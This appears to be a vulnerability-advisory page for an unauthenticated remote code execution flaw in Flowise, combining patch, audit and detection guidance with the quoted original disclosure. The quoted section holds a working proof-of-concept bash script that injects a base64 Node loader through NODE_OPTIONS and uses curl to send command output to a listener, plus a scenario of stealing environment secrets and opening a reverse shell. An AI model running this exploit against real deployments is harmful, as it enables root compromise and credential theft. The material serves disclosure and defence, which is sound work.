Flowise, a widely-used no-code AI agent builder, contains a critical unauthenticated remote code execution vulnerability that grants root-level shell access inside the container with a single HTTP POST request and zero prior knowledge of the instance. The exploit chain is deceptively simple: a malformed FILE-STORAGE:: comment string bypasses all parameter validation, allowing injection of NODE_OPTIONS into the MCP server configuration, which causes Node.js to load an attacker-controlled JavaScript module before the main process starts. While not yet in CISA KEV and EPSS data is unavailable, the exploit has a published proof-of-concept, requires no authentication, and targets a commonly-enabled production feature (API Override for session management and multi-tenancy), making rapid weaponization highly likely. Any Flowise deployment running version <= 3.0.13 with a public chatflow containing an MCP node and API Override enabled is fully compromised by one curl command; patch to 3.1.0 immediately, or as an interim control, disable API Override on all public chatflows and remove MCP nodes from external-facing configurations.
What is the risk?
Critical risk. Exploitation requires only three conditions — public chatflow, API Override enabled, MCP node present — all of which are common in production Flowise deployments designed for multi-tenant or dynamic use cases. The attack is unauthenticated, requires no reconnaissance of the target instance beyond its chatflowId (which may be discoverable via API), and succeeds with a single HTTP request. Root-level execution inside the container provides an attacker full access to secrets, credentials, database connections, and internal network adjacency. The package has 37 prior CVEs, suggesting a pattern of security debt. Patch availability (3.1.0) exists but operational pressure to delay patching in AI workflow tools is high.
How does the attack unfold?
What systems are affected?
How severe is it?
What is the attack surface?
What should I do?
6 steps-
PATCH
Upgrade flowise and flowise-components to >= 3.1.0 immediately.
-
WORKAROUND (if unable to patch): Disable API Override on ALL public chatflows; remove MCP/Custom MCP nodes from any publicly accessible chatflow.
-
AUDIT
Enumerate all chatflows with both 'Public' enabled and 'API Override' toggled on — these are the vulnerable surface.
-
DETECT
Monitor HTTP access logs for POST requests to /api/v1/prediction/* containing 'FILE-STORAGE::' in the request body; alert on any NODE_OPTIONS or experimental-loader strings in request payloads.
-
HARDEN
Apply network segmentation to Flowise containers — restrict egress to prevent data exfiltration via curl/wget; run containers as non-root users.
-
ROTATE
Assume any Flowise instance that was publicly accessible with API Override enabled has been compromised — rotate all secrets, API keys, and credentials accessible from the container environment.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-cvrr-qhgw-2mm6?
Flowise, a widely-used no-code AI agent builder, contains a critical unauthenticated remote code execution vulnerability that grants root-level shell access inside the container with a single HTTP POST request and zero prior knowledge of the instance. The exploit chain is deceptively simple: a malformed FILE-STORAGE:: comment string bypasses all parameter validation, allowing injection of NODE_OPTIONS into the MCP server configuration, which causes Node.js to load an attacker-controlled JavaScript module before the main process starts. While not yet in CISA KEV and EPSS data is unavailable, the exploit has a published proof-of-concept, requires no authentication, and targets a commonly-enabled production feature (API Override for session management and multi-tenancy), making rapid weaponization highly likely. Any Flowise deployment running version <= 3.0.13 with a public chatflow containing an MCP node and API Override enabled is fully compromised by one curl command; patch to 3.1.0 immediately, or as an interim control, disable API Override on all public chatflows and remove MCP nodes from external-facing configurations.
Is GHSA-cvrr-qhgw-2mm6 actively exploited?
No confirmed active exploitation of GHSA-cvrr-qhgw-2mm6 has been reported, but organizations should still patch proactively.
How to fix GHSA-cvrr-qhgw-2mm6?
1. PATCH: Upgrade flowise and flowise-components to >= 3.1.0 immediately. 2. WORKAROUND (if unable to patch): Disable API Override on ALL public chatflows; remove MCP/Custom MCP nodes from any publicly accessible chatflow. 3. AUDIT: Enumerate all chatflows with both 'Public' enabled and 'API Override' toggled on — these are the vulnerable surface. 4. DETECT: Monitor HTTP access logs for POST requests to /api/v1/prediction/* containing 'FILE-STORAGE::' in the request body; alert on any NODE_OPTIONS or experimental-loader strings in request payloads. 5. HARDEN: Apply network segmentation to Flowise containers — restrict egress to prevent data exfiltration via curl/wget; run containers as non-root users. 6. ROTATE: Assume any Flowise instance that was publicly accessible with API Override enabled has been compromised — rotate all secrets, API keys, and credentials accessible from the container environment.
What systems are affected by GHSA-cvrr-qhgw-2mm6?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI workflow orchestration, multi-tenant AI platforms, model serving, RAG pipelines.
What is the CVSS score for GHSA-cvrr-qhgw-2mm6?
GHSA-cvrr-qhgw-2mm6 has a CVSS v3.1 base score of 7.7 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0053 AI Agent Tool Invocation AML.T0081 Modify AI Agent Configuration AML.T0105 Escape to Host Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary Flowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the `FILE-STORAGE::` keyword combined with a `NODE_OPTIONS` environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance. ### Details The vulnerability is in a validation check within the `replaceInputsWithConfig` function within `packages/server/src/utils/index.ts`. The check for `FILE-STORAGE::` was intended to handle file-type inputs but has three issues: 1. Uses .includes() instead of .startsWith(): The check passes if FILE-STORAGE:: appears ANYWHERE in the string, not just at the beginning. A remote user can embed it in a comment: /* FILE-STORAGE:: */ { custom config } 2. No parameter type validation: The check doesn't verify that the parameter is actually a file-type input. It applies to ANY parameter name, including mcpServerConfig. 3. Complete bypass, not partial: When the check passes, it skips the isParameterEnabled() call entirely, allowing modification of parameters that administrators never authorized. **Vulnerable Code (`FILE-STORAGE::` bypass):** ```typescript // packages/server/src/utils/index.ts, line 1192-1198 // Skip if it is an override "files" input, such as pdfFile, txtFile, etc if (typeof overrideConfig[config] === 'string' && overrideConfig[config].includes('FILE-STORAGE::')) { // pass <-- BYPASSES ALL VALIDATION } else if (!isParameterEnabled(flowNodeData.label, config)) { // Only proceed if the parameter is enabled continue } ``` This bypass allows an attacker to override the `mcpServerConfig` and inject a malicious `NODE_OPTIONS` value. The `Custom MCP` node's environment variable blocklist does not include `NODE_OPTIONS`, enabling an attacker to use the `--experimental-loader` to execute arbitrary JavaScript code before the main process starts. **Vulnerable Code (`NODE_OPTIONS` not blocked):** ```typescript // packages/components/nodes/tools/MCP/core.ts, line 248-254 const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH'] for (const [key, value] of Object.entries(env)) { if (dangerousEnvVars.includes(key)) { throw new Error(`Environment variable '${key}' modification is not allowed`) } } ``` ### Requirements **API Override Enabled** The chatflow must have "API Override" toggled ON in Chatflow Configuration. **Public Chatflow** The chatflow must be shared publicly. **MCP Node** The chatflow must contain a MCP tool node (Custom MCP tool was tested and confirmed). Although not enabled by default, the API Override feature is a powerful and officially documented capability that may be used in production deployments. Its primary purpose is to make chatflows dynamic and user-aware. Common use cases that necessitate enabling this feature include: * **Session Management:** Passing a unique `sessionId` or `chatId` for each user to maintain separate conversation histories. * **User-Specific Variables:** Injecting user data such as name, preferences, or role into prompts to create personalized experiences. * **Dynamic Tool Selection:** Allowing users to specify which data sources or APIs to query based on their needs. * **Multi-Tenant Applications:** Supporting different configurations for each customer or organization without deploying separate chatflows. * **A/B Testing:** Evaluating different prompts or models in a live environment. ### Setup To reproduce the vulnerability, follow these steps: **Step 1: Start Flowise Instance** ```bash docker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latest ``` **Step 2: Configure a Public Chatflow with MCP Tool** 1. Navigate to `http://localhost:3000` and create an account. 2. Create a new chatflow. 3. Add a `Custom MCP` node and a `Custom JS Function` node. 4. Connect the `Custom MCP` output to the `Custom JS Function`'s tools input. 5. Configure the `Custom JS Function` to be an `Ending Node` with the code: `return $tools ? "Tools loaded" : "No tools";` 6. Configure the `Custom MCP` with the MCP Server Config: `{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"]}` 7. Save the chatflow and note the `chatflowId` from the URL. 8. In Chatflow Configuration, **enable API Override** and make the chatflow **Public**. ### PoC Single-Request RCE with remote command output retrieval. The following demonstrates arbitrary command execution with automatic data transmission to a remote listener: #### Step 1: Setup Listener ```bash # Start netcat listener to receive transmitted data # Note: If testing locally, run this in a separate terminal nc -lvnp 5000 echo "Listener started on port 5000..." ``` #### Step 2: Trigger Exploit ```bash #!/bin/bash CHATFLOW_ID="ABC-123-..." TARGET="http://localhost:3000" LISTENER_IP="172.17.0.1" # Docker local IP for testing # Payload: Execute commands and transmit output to remote listener LOADER_CODE='import{execSync}from"child_process";const cmd="id && pwd && ls";const out=execSync(cmd).toString();try{execSync("curl -s -m 3 --data-binary \""+out+"\" http://'$LISTENER_IP':5000");}catch(e){}export{};' ENCODED=$(echo -n "$LOADER_CODE" | base64 | tr -d '\n') # Construct the crafted MCP config CONFIG='{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"],"env":{"NODE_OPTIONS":"--experimental-loader data:text/javascript;base64,'$ENCODED'"}}' CONFIG_ESCAPED=$(echo "$CONFIG" | sed 's/"/\\"/g') # Single request triggers RCE curl -X POST "$TARGET/api/v1/prediction/$CHATFLOW_ID" \ -H "Content-Type: application/json" \ -d "{ \"question\": \"trigger\", \"overrideConfig\": { \"mcpServerConfig\": \"/* FILE-STORAGE:: */ $CONFIG_ESCAPED\" } }" ``` #### Step 3: Verify Command Execution ``` # Check the listener output Connection received... POST / HTTP/1.1 Host: 172.17.0.1:5000 User-Agent: curl/8.17.0 Accept: */* Content-Length: 214 Content-Type: application/x-www-form-urlencoded uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) / bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var ``` ### Impact This vulnerability allows for: * **Full Container Compromise:** Arbitrary command execution as the root user. * **Data Exfiltration:** Access to all secrets, credentials, and user data within the container. * **Lateral Movement:** A pivot point for attacking internal networks and other connected systems. The exploit requires no prior authentication, no specific knowledge of the target instance, and is executed with a single HTTP POST request, making it a critical and easily exploitable vulnerability. ### Credit Jeremy Brown
Exploitation Scenario
An adversary targeting an organization's AI automation stack performs passive reconnaissance via Shodan or FOFA to identify internet-facing Flowise instances. They probe the /api/v1/chatflows endpoint or analyze embedded Flowise widgets on company web properties to extract a chatflowId. With a single crafted curl command embedding FILE-STORAGE:: in a comment within the mcpServerConfig override parameter, they inject NODE_OPTIONS pointing to a base64-encoded JavaScript loader that executes id && env && cat /proc/1/environ and exfiltrates the output to an attacker-controlled endpoint. In seconds, they obtain root access, all environment variables (including LLM API keys, database URLs, and cloud provider credentials), and establish a reverse shell for persistent access and lateral movement into the organization's internal AI infrastructure.
Weaknesses (CWE)
CWE-20 — Improper Input Validation: The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
- [Architecture and Design] Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
- [Architecture and Design] Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L References
Timeline
Related Vulnerabilities
CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same package: flowise CVE-2026-46442 9.9 Flowise: sandbox escape enables authenticated RCE
Same package: flowise CVE-2025-61913 9.9 Flowise: path traversal in file tools leads to RCE
Same package: flowise CVE-2026-40933 9.9 Flowise: RCE via MCP stdio command injection
Same package: flowise CVE-2026-56274 9.9 Flowise: RCE via MCP server command validation bypass
Same package: flowise